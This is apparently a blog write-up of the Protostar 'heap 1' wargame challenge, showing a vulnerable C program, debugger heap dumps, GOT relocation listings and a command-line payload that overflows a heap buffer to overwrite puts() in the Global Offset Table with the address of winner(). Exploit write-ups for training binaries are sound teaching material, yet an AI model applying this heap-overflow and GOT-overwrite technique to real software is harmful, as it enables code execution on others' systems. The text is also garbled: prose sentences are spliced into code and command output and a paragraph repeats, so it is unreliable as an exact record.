This is the write-up for heap 1 challenge of exploit-exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
Anyway, running the program in gdb with AAAA and BBBB as arguments our heap is
laid out as follow before the second strcpy:
One suitable is the Global Offset Table, and specifically the puts() library function which is called right after.
#include <stdlib.h>The printf() in main() is actually optimized by the compiler into a puts(), as shown by the library call tracer utility.
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
user@protostar:~/heap1$ ltrace /opt/protostar/bin/heap1 1 2This will help us leveraging the GOT to exploit the challenge.
__libc_start_main(0x80484b9, 3, 0xbffff874, 0x8048580, 0x8048570 <unfinished ...>
malloc(8) = 0x0804a008
malloc(8) = 0x0804a018
malloc(8) = 0x0804a028
malloc(8) = 0x0804a038
strcpy(0x0804a018, "1") = 0x0804a018
strcpy(0x0804a038, "2") = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
) = 25
+++ exited (status 25) +++
Anyway, running the program in gdb with AAAA and BBBB as arguments our heap is
laid out as follow before the second strcpy:
(gdb) x/20x 0x804a000And after the second strcpy:
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x804a030: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
(gdb) x/20x 0x804a000To explain it further, the content of the heap at this point is:
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
(8 bytes) 0x804a000 i1-headerThe first strcpy() starts writing at 0x804a018, with no restrictions. This means that we can overwrite the value of i2-name at 0x804a02c (20 bytes offset) which originally contains 0x0804a038. The second strcpy() will thus, write the content of argv[2] to the memory address we overwrite in i2-name (20 bytes offset of argv[1]). Armed with arbitrary memory overwriting, we have a variety of target memory addresses to target that we can pick from.
(4 bytes) 0x804a008 i1-priority
(4 bytes) 0x804a00c i1-name -----------------
(8 bytes) 0x804a010 i1-*name-header |
(8 bytes) 0x804a018 i1-*name <-------------|
(8 bytes) 0x804a020 i2-header
(4 bytes) 0x804a028 i2-priority
(4 bytes) 0x804a02c i2-name -----------------
(8 bytes) 0x804a030 i2-*name-header |
(8 bytes) 0x804a038 i2-*name <-------------|
One suitable is the Global Offset Table, and specifically the puts() library function which is called right after.
user@protostar:~/heap1$ objdump -R /opt/protostar/bin/heap1winner() is at 0x08048494 memory address.
/opt/protostar/bin/heap1: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804974c R_386_GLOB_DAT __gmon_start__
0804975c R_386_JUMP_SLOT __gmon_start__
08049760 R_386_JUMP_SLOT __libc_start_main
08049764 R_386_JUMP_SLOT strcpy
08049768 R_386_JUMP_SLOT printf
0804976c R_386_JUMP_SLOT time
08049770 R_386_JUMP_SLOT malloc
08049774 R_386_JUMP_SLOT puts
user@protostar:~/heap1$ nm /opt/protostar/bin/heap1 | grep winnerConsequently, our payload will be then:
08048494 T winner
argv[1]: 20 bytes junk + location of puts in relocation symbol tableThis will write winner() address into the address of puts relocation symbol in the Global Offset Table.
argv[2]: Address of winner()
user@protostar:~/heap1$ /opt/protostar/bin/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1356733308
No comments:
Post a Comment